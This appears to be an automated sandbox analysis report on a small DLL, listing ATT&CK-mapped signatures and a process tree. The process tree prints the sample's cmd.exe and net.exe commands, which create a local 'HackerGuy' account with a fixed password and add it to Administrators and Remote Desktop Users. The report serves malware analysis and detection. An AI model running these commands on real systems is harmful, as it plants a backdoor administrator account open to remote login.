Analysis

  • user interaction
    yes
  • max time kernel
    20s
  • max time network
    6s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/08/2026, 03:26

General

  • Target
    evil_com.dll
  • Size 14KB
  • Sample260823-dzpytasdmc
  • SHA256 2f4fe2de727533fe716de2495eeaed2f82267b5e3133cf550cc0d6343afe6049
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 6 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Creates a new local user account 1 TTPs 4 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\evil_com.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2148
    • C:\Windows\System32\cmd.exe
      /c net user HackerGuy P@ssw0rd! /add & net localgroup Administrators HackerGuy /add & net localgroup "Remote Desktop Users" HackerGuy /add
      2⤵
      • Remote Service Session Hijacking: RDP Hijacking
      • Suspicious use of WriteProcessMemory
      PID:5828
      • C:\Windows\system32\net.exe
        net user HackerGuy P@ssw0rd! /add
        3⤵
        • Creates a new local user account
        • Suspicious use of WriteProcessMemory
        PID:4864
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user HackerGuy P@ssw0rd! /add
          4⤵
          • Creates a new local user account
          PID:1244
      • C:\Windows\system32\net.exe
        net localgroup Administrators HackerGuy /add
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3668
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 localgroup Administrators HackerGuy /add
          4⤵
            PID:4908
        • C:\Windows\system32\net.exe
          net localgroup "Remote Desktop Users" HackerGuy /add
          3⤵
          • Remote Service Session Hijacking: RDP Hijacking
          • Suspicious use of WriteProcessMemory
          PID:800
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup "Remote Desktop Users" HackerGuy /add
            4⤵
            • Remote Service Session Hijacking: RDP Hijacking
            PID:5988
      • C:\Windows\System32\cmd.exe
        /c net user HackerGuy P@ssw0rd! /add & net localgroup Administrators HackerGuy /add & net localgroup "Remote Desktop Users" HackerGuy /add
        2⤵
        • Remote Service Session Hijacking: RDP Hijacking
        • Suspicious use of WriteProcessMemory
        PID:6104
        • C:\Windows\system32\net.exe
          net user HackerGuy P@ssw0rd! /add
          3⤵
          • Creates a new local user account
          • Suspicious use of WriteProcessMemory
          PID:3340
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user HackerGuy P@ssw0rd! /add
            4⤵
            • Creates a new local user account
            PID:4352
        • C:\Windows\system32\net.exe
          net localgroup Administrators HackerGuy /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4636
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup Administrators HackerGuy /add
            4⤵
              PID:3300
          • C:\Windows\system32\net.exe
            net localgroup "Remote Desktop Users" HackerGuy /add
            3⤵
            • Remote Service Session Hijacking: RDP Hijacking
            • Suspicious use of WriteProcessMemory
            PID:3736
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup "Remote Desktop Users" HackerGuy /add
              4⤵
              • Remote Service Session Hijacking: RDP Hijacking
              PID:1700

      Network

            MITRE ATT&CK Enterprise v16

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